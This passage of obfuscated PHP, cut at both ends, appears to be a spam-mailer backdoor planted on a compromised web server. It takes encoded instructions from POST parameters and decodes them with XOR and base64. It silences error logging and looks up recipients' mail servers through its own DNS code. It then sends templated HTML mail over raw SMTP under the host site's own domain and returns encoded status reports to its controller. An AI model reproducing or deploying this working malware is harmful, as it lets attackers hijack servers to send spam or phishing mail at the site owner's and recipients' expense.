lR.Kg3C)|:Ti8#\$20vkD+P,"; $GLOBALS['xyzta42'] = ${"_POST"}; @ini_set("error_log", NULL); @ini_set("log_errors", 0); @error_reporting(NULL); $lerqj48 = json_decode(kvkdh88($j10, $pate), TRUE); define("DNS_TYPE_MX", 0x000F); define("DNS_TYPE_A", 0x0001); define("DNS_TYPE_NS", 0x0002); define("DNS_TYPE_PTR", 0x000C); define("DNS_STEP_QESTION", 1); define("DNS_STEP_ANSWER", 2); define("DNS_STEP_AUTHORITY", 3); define("DNS_STEP_ADDITIONAL", 4); define("SOCKET_TYPE_SOCKET", 1); define("SOCKET_TYPE_FSOCKET", 2); define("SOCKET_TYPE_STREAM", 4); define("SOCKET_TYPE_NO", 5); define("SOCKET_PROTO_TCP", 1); define("SOCKET_PROTO_UDP", 2); define("STEP_CONNECT", 0); define("STEP_CONNECTED", 1); define("STEP_EHLO", 2); define("STEP_MAILFROM", 3); define("STEP_RCPTTO", 4); define("STEP_DATA", 5); define("STEP_BODY", 6); define("STEP_QUIT", 7); define("STEP_COMPLETED", 8); isjdn82($j10, NULL); $lzjwd61 = array( "toList" => "", "fromLogin" => "", "fromName" => "", "subjTempl" => "", "bodyTempl" => "", "hostFrom" => "" ); if (FALSE == zumzi73($j10, $lzjwd61)) { echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]\n"; exit; } $docef75 = array(); for ($hvyut10 = 0; $hvyut10 < count($lzjwd61["toList"]); $hvyut10++) { $uiwvy47 = array( "id" => $hvyut10, "g_mailto" => "", "g_mailto+" => "", "g_mailfrom" => "", "g_mailfrom+" => "", "g_domainto" => "", "g_domainfrom" => "", "g_namefirst" => "", "g_namelast" => "", "g_body" => "", "g_subject" => "", "g_fff" => FALSE, "g_header" => "", "g_headerfrom" => "", "s_header" => "", "s_mxhost" => "", "s_mxaddr" => FALSE, "s_sock" => FALSE, "s_time" => time(), "s_step" => constant("STEP_CONNECT"), "s_port" => 25, "s_datain" => "", "s_dataout" => "", "s_trig" => FALSE, "l_err" => "", "l_done" => FALSE, "l_way" => 0, "l_failsmtp" => FALSE, "l_smtp_end" => FALSE, "l_smtp_log" => "" ); if (FALSE == mxdtw46($j10, $lzjwd61["toList"][$hvyut10], $lzjwd61, $uiwvy47)) { echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . zdowx44($j10, $lzjwd61["toList"][$hvyut10]) . "]]\n"; continue; } $docef75[] = $uiwvy47; } $zdhxc3 = vgrtr3($j10, 1); if (count($zdhxc3) > 0) { echo PHP_OS . "+" . md5(1111111111) . "+06+[[" . zdowx44($j10, "Banned start: " . implode(",", array_keys($zdhxc3))) . "]]\n"; } robma76($j10, $docef75, $zdhxc3, $lerqj48); moijk28($j10, $docef75); eklqy22($j10, $zdhxc3); if (count($zdhxc3) > 0) { echo PHP_OS . "+" . md5(1111111111) . "+07+[[" . zdowx44($j10, "Banned stop: " . implode(",", array_keys($zdhxc3))) . "]]\n"; } exit; function moijk28($j10, $docef75) { $hbxeq24 = 0; $ljroq91 = ""; for ($hvyut10 = 0; $hvyut10 < count($docef75); $hvyut10++) { if ($docef75[$hvyut10]["l_failsmtp"] == TRUE) { echo "" . PHP_OS . "+" . md5(2222222222) . "+04+[[" . zdowx44($j10, $docef75[$hvyut10]["g_mailto"] . " :: " . $docef75[$hvyut10]["l_err"]) . "]]\n"; } if ($docef75[$hvyut10]["l_done"] == TRUE) { $ljroq91 .= $docef75[$hvyut10]["l_way"]; $hbxeq24++; } } if ($hbxeq24 == 0) { echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]\n"; } else { echo "OK+" . md5(1234567890) . "+" . $hbxeq24 . "+" . count($docef75) . "[" . $ljroq91 . "]\n"; } } function robma76($j10, &$docef75, &$zdhxc3, $lerqj48) { while (rwznq6($j10, $docef75)) { ncwho25($j10, $docef75, $zdhxc3, $lerqj48); usleep(25000); } } function tedrk79($j10, &$docef75, $jxwad57, $yalpo8, $hiajt11) { if ($docef75[$jxwad57]["s_sock"] != FALSE) { kdpdr2($j10, $docef75[$jxwad57]["s_sock"]); } $fgzke40 = ""; if ($hiajt11 == TRUE) { $fgzke40 = "[" . $docef75[$jxwad57]["s_port"] . "]"; } $docef75[$jxwad57]["l_err"] = $fgzke40 . "[" . $docef75[$jxwad57]["s_step"] . "]" . trim(preg_replace("/\r\n/", " ", $yalpo8)); $docef75[$jxwad57]["l_failsmtp"] = $hiajt11; $docef75[$jxwad57]["l_smtp_end"] = TRUE; return; } function ncwho25($j10, &$docef75, &$zdhxc3, $lerqj48) { $ojlez0 = time(); foreach ($docef75 as $jxwad57 => $uiwvy47) { if ($uiwvy47["l_smtp_end"] == TRUE) { continue; } if ($uiwvy47["s_time"] + 20 < $ojlez0) { if ($docef75[$jxwad57]["s_step"] == constant("STEP_CONNECT") && $docef75[$jxwad57]["s_port"] != 587) { kdpdr2($j10, $docef75[$jxwad57]["s_sock"]); $docef75[$jxwad57]["s_port"] = 587; $docef75[$jxwad57]["s_time"] = time(); continue; } tedrk79($j10, $docef75, $jxwad57, "timeout", FALSE); continue; } if (!empty($zdhxc3[mstfu72($j10, $lerqj48, $docef75[$jxwad57])])) { tedrk79($j10, $docef75, $jxwad57, "Bcnf!", TRUE); continue; } switch ($docef75[$jxwad57]["s_step"]) { case constant("STEP_CONNECT"): if ($docef75[$jxwad57]["s_mxaddr"] == FALSE) { $docef75[$jxwad57]["s_mxaddr"] = @gethostbyname($docef75[$jxwad57]["s_mxhost"]); if (!@preg_match("/([0-9]{1,3}\\.?){4}/", $docef75[$jxwad57]["s_mxaddr"])) { tedrk79($j10, $docef75, $jxwad57, "resolve mx", FALSE); break; } } $bfwyd21 = 0; $iiwxg60 = ''; $docef75[$jxwad57]["s_sock"] = shcrb2($j10, $docef75[$jxwad57]["s_sock"], constant("SOCKET_PROTO_TCP"), $docef75[$jxwad57]["s_mxaddr"], $docef75[$jxwad57]["s_port"], 2, $bfwyd21, $iiwxg60, TRUE); if ($docef75[$jxwad57]["s_sock"] == FALSE) { break; } if ($bfwyd21 == 0 || $bfwyd21 === 56 || $bfwyd21 === 10056) { $docef75[$jxwad57]["s_step"] = constant("STEP_CONNECTED"); ehgod17($j10, $docef75[$jxwad57]["s_sock"], 15); $docef75[$jxwad57]["s_time"] = time(); } break; case constant("STEP_CONNECTED"): if (tvchy30($j10, $docef75, $jxwad57)) { $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_datain"] . "\n"; if (substr($docef75[$jxwad57]["s_datain"], 0, 3) != 220) { $mgevi59 = imqjm17($j10, $lerqj48, $docef75[$jxwad57], $zdhxc3); tedrk79($j10, $docef75, $jxwad57, $mgevi59 . $docef75[$jxwad57]["s_datain"], TRUE); break; } $docef75[$jxwad57]["s_datain"] = ""; $docef75[$jxwad57]["s_dataout"] = "EHLO " . $docef75[$jxwad57]["g_domainfrom"] . "\r\n"; $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_dataout"] . "\n"; $docef75[$jxwad57]["s_step"] = constant("STEP_EHLO"); $docef75[$jxwad57]["s_time"] = time(); } break; case constant("STEP_EHLO"): if (rcljy83($j10, $docef75, $jxwad57)) { if (tvchy30($j10, $docef75, $jxwad57)) { $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_datain"] . "\n"; if (substr($docef75[$jxwad57]["s_datain"], 0, 3) != 250) { $mgevi59 = imqjm17($j10, $lerqj48, $docef75[$jxwad57], $zdhxc3); tedrk79($j10, $docef75, $jxwad57, $mgevi59 . $docef75[$jxwad57]["s_datain"], TRUE); break; } $docef75[$jxwad57]["s_datain"] = ""; $docef75[$jxwad57]["s_dataout"] = "MAIL FROM:<" . $docef75[$jxwad57]["g_mailfrom"] . ">\r\n"; $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_dataout"] . "\n"; $docef75[$jxwad57]["s_step"] = constant("STEP_MAILFROM"); $docef75[$jxwad57]["s_time"] = time(); } break; } break; case constant("STEP_MAILFROM"): if (rcljy83($j10, $docef75, $jxwad57)) { if (tvchy30($j10, $docef75, $jxwad57)) { $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_datain"] . "\n"; if (substr($docef75[$jxwad57]["s_datain"], 0, 3) != 250) { $mgevi59 = imqjm17($j10, $lerqj48, $docef75[$jxwad57], $zdhxc3); tedrk79($j10, $docef75, $jxwad57, $mgevi59 . $docef75[$jxwad57]["s_datain"], TRUE); break; } $docef75[$jxwad57]["s_datain"] = ""; $docef75[$jxwad57]["s_dataout"] = "RCPT TO:<" . $docef75[$jxwad57]["g_mailto"] . ">\r\n"; $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_dataout"] . "\n"; $docef75[$jxwad57]["s_step"] = constant("STEP_RCPTTO"); $docef75[$jxwad57]["s_time"] = time(); } break; } break; case constant("STEP_RCPTTO"): if (rcljy83($j10, $docef75, $jxwad57)) { if (tvchy30($j10, $docef75, $jxwad57)) { $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_datain"] . "\n"; if (substr($docef75[$jxwad57]["s_datain"], 0, 3) != 250 && substr($docef75[$jxwad57]["s_datain"], 0, 3) != 251) { $mgevi59 = imqjm17($j10, $lerqj48, $docef75[$jxwad57], $zdhxc3); tedrk79($j10, $docef75, $jxwad57, $mgevi59 . $docef75[$jxwad57]["s_datain"], TRUE); break; } $docef75[$jxwad57]["s_datain"] = ""; $docef75[$jxwad57]["s_dataout"] = "DATA\r\n"; $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_dataout"] . "\n"; $docef75[$jxwad57]["s_step"] = constant("STEP_DATA"); $docef75[$jxwad57]["s_time"] = time(); } break; } break; case constant("STEP_DATA"): if (rcljy83($j10, $docef75, $jxwad57)) { if (tvchy30($j10, $docef75, $jxwad57)) { $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_datain"] . "\n"; if (substr($docef75[$jxwad57]["s_datain"], 0, 3) != 354) { $mgevi59 = imqjm17($j10, $lerqj48, $docef75[$jxwad57], $zdhxc3); tedrk79($j10, $docef75, $jxwad57, $mgevi59 . $docef75[$jxwad57]["s_datain"], TRUE); break; } $docef75[$jxwad57]["s_datain"] = ""; $docef75[$jxwad57]["s_dataout"] = $docef75[$jxwad57]["s_header"] . "\r\n" . $docef75[$jxwad57]["g_body"] . "\r\n.\r\n"; $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_dataout"] . "\n"; $docef75[$jxwad57]["s_step"] = constant("STEP_BODY"); $docef75[$jxwad57]["s_time"] = time(); } break; } break; case constant("STEP_BODY"): if (rcljy83($j10, $docef75, $jxwad57)) { if (tvchy30($j10, $docef75, $jxwad57)) { $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_datain"] . "\n"; if (substr($docef75[$jxwad57]["s_datain"], 0, 3) != 250) { $mgevi59 = imqjm17($j10, $lerqj48, $docef75[$jxwad57], $zdhxc3); tedrk79($j10, $docef75, $jxwad57, $mgevi59 . $docef75[$jxwad57]["s_datain"], TRUE); break; } $docef75[$jxwad57]["s_datain"] = ""; $docef75[$jxwad57]["s_dataout"] = "QUIT\r\n"; $docef75[$jxwad57]["l_smtp_log"] .= $docef75[$jxwad57]["s_dataout"] . "\n"; $docef75[$jxwad57]["s_step"] = constant("STEP_QUIT"); $docef75[$jxwad57]["s_time"] = time(); $docef75[$jxwad57]["l_done"] = TRUE; $docef75[$jxwad57]["l_way"] = 1; } break; } break; case constant("STEP_QUIT"): if (rcljy83($j10, $docef75, $jxwad57)) { tedrk79($j10, $docef75, $jxwad57, "Success!", TRUE); } break; } } } function tvchy30($j10, &$docef75, $jxwad57) { $bfwyd21 = 0; $iiwxg60 = ""; if ($docef75[$jxwad57]["s_trig"] == FALSE) { if (strlen($docef75[$jxwad57]["s_datain"]) != 0) { return TRUE; } return FALSE; } $xaqcc89 = gnrxk38($j10, $docef75[$jxwad57]["s_sock"], 4086, $bfwyd21, $iiwxg60); if ($xaqcc89 == FALSE || $xaqcc89 == "") { if ($bfwyd21 != 35 && $bfwyd21 != 10035 && $bfwyd21 != 11 && $bfwyd21 != 10060) { tedrk79($j10, $docef75, $jxwad57, $iiwxg60, FALSE); return FALSE; } if (strlen($docef75[$jxwad57]["s_datain"]) != 0) { return TRUE; } return FALSE; } $docef75[$jxwad57]["s_datain"] = $xaqcc89; return FALSE; } function rcljy83($j10, &$docef75, $jxwad57) { $bfwyd21 = 0; $iiwxg60 = ""; if (strlen($docef75[$jxwad57]["s_dataout"]) == 0) { return TRUE; } $xaqcc89 = eizdf27($j10, $docef75[$jxwad57]["s_sock"], $docef75[$jxwad57]["s_dataout"], $bfwyd21, $iiwxg60); if ($xaqcc89 == FALSE) { if ($bfwyd21 != 35 && $bfwyd21 != 10035 && $bfwyd21 != 11 && $bfwyd21 != 10060) { tedrk79($j10, $docef75, $jxwad57, $iiwxg60, FALSE); } return FALSE; } $docef75[$jxwad57]["s_dataout"] = substr($docef75[$jxwad57]["s_dataout"], $xaqcc89); if (strlen($docef75[$jxwad57]["s_dataout"]) == 0) { return TRUE; } return FALSE; } function rwznq6($j10, &$docef75) { $fupzm37 = FALSE; if (constant("SOCKET_TYPE") != constant("SOCKET_TYPE_SOCKET")) { foreach (array_keys($docef75) as $jxwad57) { if ($docef75[$jxwad57]["l_smtp_end"] != TRUE) { $docef75[$jxwad57]["s_trig"] = TRUE; $fupzm37 = TRUE; } } return $fupzm37; } $qdxoj65 = array(); foreach (array_keys($docef75) as $jxwad57) { if ($docef75[$jxwad57]["l_smtp_end"] != TRUE) { if ($docef75[$jxwad57]["s_sock"] == 0 || $docef75[$jxwad57]["s_step"] == constant("STEP_CONNECT")) { $docef75[$jxwad57]["s_trig"] = TRUE; } else { $docef75[$jxwad57]["s_trig"] = FALSE; $qdxoj65[] = $docef75[$jxwad57]["s_sock"]; } $fupzm37 = TRUE; } } if (count($qdxoj65) == 0) { return $fupzm37; } $bpcva59 = @socket_select($qdxoj65, $uittw80 = NULL, $swvlp72 = NULL, 0); if ($bpcva59 == FALSE || $bpcva59 == 0) { return $fupzm37; } foreach (array_keys($docef75) as $jxwad57) { $docef75[$jxwad57]["s_trig"] = FALSE; foreach ($qdxoj65 as $jeqhx89) { if ($docef75[$jxwad57]["s_sock"] == $jeqhx89) { $docef75[$jxwad57]["s_trig"] = TRUE; break; } } } return $fupzm37; } function isjdn82($j10, $ivtpn33) { if (function_exists("socket_create") && function_exists("socket_connect") && function_exists("socket_read") && function_exists("socket_write")) { define("SOCKET_TYPE", constant("SOCKET_TYPE_SOCKET")); return TRUE; } if (function_exists("fsockopen")) { define("SOCKET_TYPE", constant("SOCKET_TYPE_FSOCKET")); return TRUE; } if (function_exists("stream_socket_client")) { define("SOCKET_TYPE", constant("SOCKET_TYPE_STREAM")); return TRUE; } define("SOCKET_TYPE", constant("SOCKET_TYPE_NO")); return FALSE; } function mxdtw46($j10, $zzixu78, $lzjwd61, &$uiwvy47) { $lnnav34 = array(); if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $zzixu78, $lnnav34)) { return FALSE; } if (!isset($lnnav34) || count($lnnav34) != 5) { return FALSE; } $uiwvy47["g_namefirst"] = @ucfirst(str_replace(";", "", $lnnav34[1])); $uiwvy47["g_namelast"] = @ucfirst(str_replace(";", "", $lnnav34[2])); $uiwvy47["g_mailto"] = str_replace(";", "", $lnnav34[3]); $uiwvy47["g_domainto"] = str_replace(";", "", $lnnav34[4]); if (!isset($uiwvy47["g_mailto"]) || $uiwvy47["g_mailto"] == "") { return FALSE; } if (!isset($uiwvy47["g_domainto"]) || $uiwvy47["g_domainto"] == "") { return FALSE; } if (isset($uiwvy47["g_namefirst"]) && $uiwvy47["g_namefirst"] != "") { $uiwvy47["g_mailto+"] = "\"" . $uiwvy47["g_namefirst"] . " " . $uiwvy47["g_namelast"] . "\" <" . $uiwvy47["g_mailto"] . ">"; } else { $uiwvy47["g_mailto+"] = $uiwvy47["g_mailto"]; } $uiwvy47["g_domainfrom"] = $lzjwd61["hostFrom"]; if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $lzjwd61["hostFrom"]) || @ini_get("safe_mode")) { $uiwvy47["g_fff"] = FALSE; } else { $uiwvy47["g_fff"] = TRUE; } $uiwvy47["g_mailfrom"] = $lzjwd61["fromLogin"] . "@" . $lzjwd61["hostFrom"]; if (isset($lzjwd61["fromName"]) && $lzjwd61["fromName"] != "") { $uiwvy47["g_mailfrom+"] = $lzjwd61["fromName"] . " <" . $uiwvy47["g_mailfrom"] . ">"; } else { $uiwvy47["g_mailfrom+"] = $uiwvy47["g_mailfrom"]; } $uiwvy47["s_mxhost"] = wmnab69($j10, $uiwvy47["g_domainto"]); $uiwvy47["g_subject"] = @str_replace("%R_NAME%", $uiwvy47["g_namefirst"], $lzjwd61["subjTempl"]); $uiwvy47["g_subject"] = @str_replace("%R_LNAME%", $uiwvy47["g_namelast"], $uiwvy47["g_subject"]); $uiwvy47["g_body"] = @str_replace("%R_NAME%", $uiwvy47["g_namefirst"], $lzjwd61["bodyTempl"]); $uiwvy47["g_body"] = @str_replace("%R_LNAME%", $uiwvy47["g_namelast"], $uiwvy47["g_body"]); $uiwvy47["g_body"] = @str_replace("%MAIL_EN%", zdowx44($j10, $uiwvy47["g_mailto"]), $uiwvy47["g_body"]); $uiwvy47["g_header"] = "X-Priority: 3 (Normal)\r\n"; $uiwvy47["g_header"] .= "MIME-Version: 1.0\r\n"; $uiwvy47["g_header"] .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $uiwvy47["g_header"] .= "Content-Transfer-Encoding: 8bit\r\n"; $uiwvy47["g_headerfrom"] = "From: " . $uiwvy47["g_mailfrom+"] . "\r\n"; if (@isset($lzjwd61["reptoAddr"]) && $lzjwd61["reptoAddr"] != "") { $uiwvy47["g_headerfrom"] .= "Reply-To: " . $lzjwd61["reptoAddr"] . "\r\n"; } else { $uiwvy47["g_headerfrom"] .= "Reply-To: " . $uiwvy47["g_mailfrom+"] . "\r\n"; } $uiwvy47["s_header"] = "Date: " . @date("D, j M Y G:i:s O") . "\r\n"; $uiwvy47["s_header"] .= $uiwvy47["g_headerfrom"]; $uiwvy47["s_header"] .= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time())) . "@" . $lzjwd61["hostFrom"] . ">\r\n"; $uiwvy47["s_header"] .= "To: " . $uiwvy47["g_mailto+"] . "\r\n"; $uiwvy47["s_header"] .= "Subject: " . $uiwvy47["g_subject"] . "\r\n"; $uiwvy47["s_header"] .= $uiwvy47["g_header"]; return TRUE; } function wmnab69($j10, $nbcnq11) { $oqvjg84 = array(); $tkfer34 = array(); if (function_exists("getmxrr")) { @getmxrr($nbcnq11, $oqvjg84, $tkfer34); } else { if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO")) { return FALSE; } $bpcva59 = qabjh76($j10, $nbcnq11, constant("DNS_TYPE_MX")); if ($bpcva59 == FALSE || !isset($bpcva59["ans"])) { return FALSE; } foreach ($bpcva59["ans"] as $eehxe25) { if ($eehxe25["type"] == constant("DNS_TYPE_MX")) { $oqvjg84[] = $eehxe25["data"]; $tkfer34[] = $eehxe25["preference"]; } } } if (count($oqvjg84) == 0) { return FALSE; } $hognb28 = array_keys($tkfer34, min($tkfer34)); return $oqvjg84[$hognb28[0]]; } function bpuul59($j10, $nbcnq11) { if (function_exists("gethostbyaddr")) { return gethostbyaddr($nbcnq11); } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO")) { return FALSE; } if (!preg_match("/^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/", $nbcnq11, $xvvgy74)) { return FALSE; } if (empty($xvvgy74) || count($xvvgy74) != 5) { return FALSE; } $bpcva59 = qabjh76($j10, $xvvgy74[4] . '.' . $xvvgy74[3] . '.' . $xvvgy74[2] . '.' . $xvvgy74[1] . ".in-addr.arpa", constant("DNS_TYPE_PTR")); if ($bpcva59 == FALSE || !isset($bpcva59["ans"])) { return FALSE; } foreach ($bpcva59["ans"] as $eehxe25) { if ($eehxe25["type"] == constant("DNS_TYPE_PTR")) { return $eehxe25["data"]; } } } function zumzi73($j10, &$lzjwd61) { if (count($GLOBALS['xyzta42']) < 2) { return FALSE; } $tkxuv34 = false; $zcxzb2 = $jzsme68 = ""; foreach (array_keys($GLOBALS['xyzta42']) as $vcmra37) { if ($vcmra37[0] == "l") { $zcxzb2 = $vcmra37; } if ($vcmra37[0] == "d") { $jzsme68 = $vcmra37; } if ($vcmra37[0] == "e") { $tkxuv34 = true; } } if ($zcxzb2 == "" || $jzsme68 == "") { return FALSE; } $umkew22 = fclwp59($j10, $zcxzb2, $tkxuv34); $tidwb68 = fclwp59($j10, $jzsme68, $tkxuv34); if ($umkew22 == FALSE || $tidwb68 == FALSE) { return FALSE; } $lzjwd61["toList"] = @preg_split("/#/", $umkew22); $lzjwd61["fromLogin"] = $lzjwd61["fromName"] = $lzjwd61["subjTempl"] = $lzjwd61["bodyTempl"] = ""; $lnnav34 = array(); if (FALSE !== @preg_match("/(.*?)<\\/USER>/ism", $tidwb68, $lnnav34) && isset($lnnav34) && count($lnnav34) > 1) { $lzjwd61["fromLogin"] = $lnnav34[1]; } if (FALSE !== @preg_match("/(.*?)<\\/NAME>/ism", $tidwb68, $lnnav34) && isset($lnnav34) && count($lnnav34) > 1) { $lzjwd61["fromName"] = $lnnav34[1]; } if (FALSE !== @preg_match("/(.*?)<\\/SUBJ>/ism", $tidwb68, $lnnav34) && isset($lnnav34) && count($lnnav34) > 1) { $lzjwd61["subjTempl"] = $lnnav34[1]; } if (FALSE !== @preg_match("/(.*?)<\\/REPTO>/ism", $tidwb68, $lnnav34) && isset($lnnav34) && count($lnnav34) > 1) { $lzjwd61["reptoAddr"] = $lnnav34[1]; } if (FALSE !== @preg_match("/(.*?)<\\/SBODY>/ism", $tidwb68, $lnnav34) && isset($lnnav34) && count($lnnav34) > 1) { $lzjwd61["bodyTempl"] = $lnnav34[1]; } $lzjwd61["hostFrom"] = @preg_replace("/^(www|ftp)\\./i", '', $_SERVER["HTTP_HOST"]); if (preg_match("/^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$/", $lzjwd61["hostFrom"])) { $rgzjv22 = bpuul59($j10, $lzjwd61["hostFrom"]); if ($rgzjv22 != FALSE) { $lzjwd61["hostFrom"] = $rgzjv22; } else { $lzjwd61["hostFrom"] = "domain.com"; } } if (($yioin41 = strpos($lzjwd61["hostFrom"], ":")) !== false) { $lzjwd61["hostFrom"] = substr($lzjwd61["hostFrom"], 0, $yioin41); } $lzjwd61["hostFrom"] = @strtolower($lzjwd61["hostFrom"]); return TRUE; } function fclwp59($j10, $vcmra37, $tkxuv34) { if (!isset($vcmra37) || $vcmra37 == "") { return FALSE; } $khywj70 = @$GLOBALS['xyzta42'][$vcmra37]; if ($tkxuv34) { $khywj70 = kvkdh88($j10, $khywj70); for ($hognb28 = 0; $hognb28 < strlen($khywj70); $hognb28++) { $khywj70[$hognb28] = chr(ord($khywj70[$hognb28]) ^ 2); } } return urldecode(stripslashes($khywj70)); } function kvkdh88($j10, $xmxkd83) { $fupzm37 = ""; for ($hvyut10 = 0; $hvyut10 < 256; $hvyut10++) { $gzccs73[$hvyut10] = chr($hvyut10); } $hgtxt70 = array_flip(preg_split("//", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", -1, 1)); $qmmlq58 = array(); preg_match_all("([A-z0-9+\\/]{1,4})", $xmxkd83, $qmmlq58); foreach ($qmmlq58[0] as $iejib94) { $hzgqj17 = 0; for ($hvyut10 = 0; isset($iejib94[$hvyut10]); $hvyut10++) { $hzgqj17 = ($hzgqj17 << 6) + $hgtxt70[$iejib94[$hvyut10]]; if ($hvyut10 > 0) { $fupzm37 .= $gzccs73[$hzgqj17 >> (4 - (2 * ($hvyut10 - 1)))]; $hzgqj17 = $hzgqj17 & (0xf >> (2 * ($hvyut10 - 1))); } } } return $fupzm37; } function zdowx44($j10, $neppe35) { for ($hognb28 = 0; $hognb28 < strlen($neppe35); $hognb28++) { $neppe35[$hognb28] = chr(ord($neppe35[$hognb28]) ^ 2); } return base64_encode($neppe35); } function rcptw89($j10, $hhepp43) { $neppe35 = kvkdh88($j10, $hhepp43); for ($hognb28 = 0; $hognb28 < strlen($neppe35); $hognb28++) { $neppe35[$hognb28] = chr(ord($neppe35[$hognb28]) ^ 2); } return $neppe35; } function shcrb2($j10, $jxykg73, $zljwn96, $urvjq67, $fgzke40, $zcxlk81, &$bfwyd21, &$iiwxg60, $jlfho78 = false) { $hpzaj3 = ""; $ditmu7 = NULL; $deqzp74 = NULL; $bfwyd21 = 0; $iiwxg60 = ""; if ($zljwn96 == constant("SOCKET_PROTO_TCP")) { $hpzaj3 = "tcp"; $ditmu7 = SOL_TCP; $deqzp74 = SOCK_STREAM; } else if ($zljwn96 == constant("SOCKET_PROTO_UDP")) { $hpzaj3 = "udp"; $deqzp74 = SOCK_DGRAM; $ditmu7 = SOL_UDP; } else { $iiwxg60 = "Error: invalid protocol"; return FALSE; } switch (constant("SOCKET_TYPE")) { case constant("SOCKET_TYPE_SOCKET"): if ($jxykg73 == FALSE) { $jxykg73 = @socket_create(AF_INET, $deqzp74, $ditmu7); if ($jxykg73 == FALSE) { $bfwyd21 = socket_last_error(); $iiwxg60 = socket_strerror($bfwyd21); break; } socket_set_option($jxykg73, SOL_SOCKET, SO_REUSEADDR, 1); socket_set_option($jxykg73, SOL_SOCKET, SO_RCVTIMEO, array( "sec" => $zcxlk81, "usec" => 0 )); socket_set_option($jxykg73, SOL_SOCKET, SO_SNDTIMEO, array( "sec" => $zcxlk81, "usec" => 0 )); if ($jlfho78) { socket_set_nonblock($jxykg73); } } if (!@socket_connect($jxykg73, $urvjq67, $fgzke40)) { $bfwyd21 = socket_last_error($jxykg73); $iiwxg60 = socket_strerror($bfwyd21); } if ($jlfho78) { socket_set_nonblock($jxykg73); } break; case constant("SOCKET_TYPE_FSOCKET"): $jxykg73 = @fsockopen($hpzaj3 . "://" . $urvjq67, $fgzke40, $bfwyd21, $iiwxg60, $zcxlk81); if ($jxykg73 && $jlfho78) { @stream_set_blocking($jxykg73, 0); } @stream_set_timeout($jxykg73, $zcxlk81); break; case constant("SOCKET_TYPE_STREAM"): $jxykg73 = @stream_socket_client($hpzaj3 . "://" . $urvjq67 . ":" . $fgzke40, $bfwyd21, $iiwxg60, $zcxlk81); if ($jxykg73 && $jlfho78) { @stream_set_blocking($jxykg73, 0); } @stream_set_timeout($jxykg73, $zcxlk81); break; default: $iiwxg60 = "Error: invalid socket type"; return FALSE; } return $jxykg73; } function kdpdr2($j10, &$jxykg73) { if ($jxykg73 == FALSE) { return; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { @socket_close($jxykg73); } else { @fclose($jxykg73); } $jxykg73 = FALSE; return; } function gnrxk38($j10, $jxykg73, $wzauo50, &$bfwyd21, &$iiwxg60) { if ($jxykg73 == FALSE) { return FALSE; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { $fupzm37 = @socket_read($jxykg73, $wzauo50, PHP_BINARY_READ); if ($fupzm37 == FALSE) { $bfwyd21 = socket_last_error($jxykg73); $iiwxg60 = socket_strerror($bfwyd21); } } else { if (@feof($jxykg73)) { return FALSE; } $fupzm37 = @fread($jxykg73, $wzauo50); if (strlen($fupzm37) == 0) { $bfwyd21 = 35; } } return $fupzm37; } function eizdf27($j10, $jxykg73, $xaqcc89, &$bfwyd21, &$iiwxg60) { if ($jxykg73 == FALSE) { return FALSE; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { $fupzm37 = @socket_write($jxykg73, $xaqcc89); if ($fupzm37 == FALSE) { $bfwyd21 = socket_last_error($jxykg73); $iiwxg60 = socket_strerror($bfwyd21); } } else { if (@feof($jxykg73)) { return FALSE; } $fupzm37 = @fwrite($jxykg73, $xaqcc89); } return $fupzm37; } function ehgod17($j10, $jxykg73, $zcxlk81) { if ($jxykg73 == FALSE) { return FALSE; } if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { @socket_set_option($jxykg73, SOL_SOCKET, SO_RCVTIMEO, array( "sec" => $zcxlk81, "usec" => 0 )); @socket_set_option($jxykg73, SOL_SOCKET, SO_SNDTIMEO, array( "sec" => $zcxlk81, "usec" => 0 )); } else { @stream_set_timeout($jxykg73, $zcxlk81); } return TRUE; } function qabjh76($j10, $nbcnq11, $hkxgl74) { $bfwyd21 = 0; $iiwxg60 = ""; $jxykg73 = shcrb2($j10, FALSE, constant("SOCKET_PROTO_UDP"), "8.8.8.8", 53, 10, $bfwyd21, $iiwxg60); if (!$jxykg73) { return FALSE; } $ykysr23 = rand(0x0001, 0xFFFE); $gplqu49 = explode('.', $nbcnq11); $yklmz82 = pack("nnnnnn", $ykysr23, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000); foreach ($gplqu49 as $getbi62) { $yklmz82 .= pack("Ca*", strlen($getbi62), $getbi62); } $yklmz82 .= pack("Cnn", 0x00, $hkxgl74, 0x0001); $bpcva59 = eizdf27($j10, $jxykg73, $yklmz82, $bfwyd21, $iiwxg60); if (!$bpcva59 || $bpcva59 != strlen($yklmz82)) { kdpdr2($j10, $jxykg73); return FALSE; } 